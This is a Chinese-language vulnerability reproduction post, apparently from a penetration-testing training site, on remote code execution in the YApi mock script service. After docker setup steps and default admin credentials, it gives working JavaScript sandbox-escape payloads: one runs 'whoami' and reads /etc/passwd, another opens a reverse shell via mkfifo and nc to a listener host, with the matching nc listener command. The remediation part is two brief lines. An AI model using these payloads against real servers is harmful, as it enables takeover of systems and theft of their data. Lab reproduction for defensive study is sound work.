YApi 接口管理平台 漏洞复现
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
YApi 接口管理平台 漏洞复现
1.漏洞描述
YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。 Github地址:https://github.com/jinfeijie/yapi
2.影响版本
全版本
3.漏洞复现
使用docker安装 yapi
2.1安装启动 mongodb
sudo docker run -d --name mongo-yapi mongo
2.2 获取yapi镜像
sudo docker pull registry.cnhangzhou.aliyuncs.com/anoy/yapi
2.2 初始化数据索引和管理账号密码
sudo docker run -it --rm --link mongo-yapi:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
2.3 启动yapi服务
sudo docker run -d –name yapi –link mongo-yapi:mongo –workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js
2.4 访问
访问 http://localhost:3000 登录账号 admin@admin.com,密码 ymfe.org

2.5 注册账号和密码

2.6 创建项目 创建接口


const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami&& cat /etc/passwd").toString()

保存访问url
http://192.168.0.115:3000/mock/16/moonsec/moonsec

2.7 创建反弹shell
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.182 9999 >/tmp/f").toString()
nc -lvnp 9999

5.漏洞修复
1.关闭用户注册
2.升级到最新版本
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/3195.html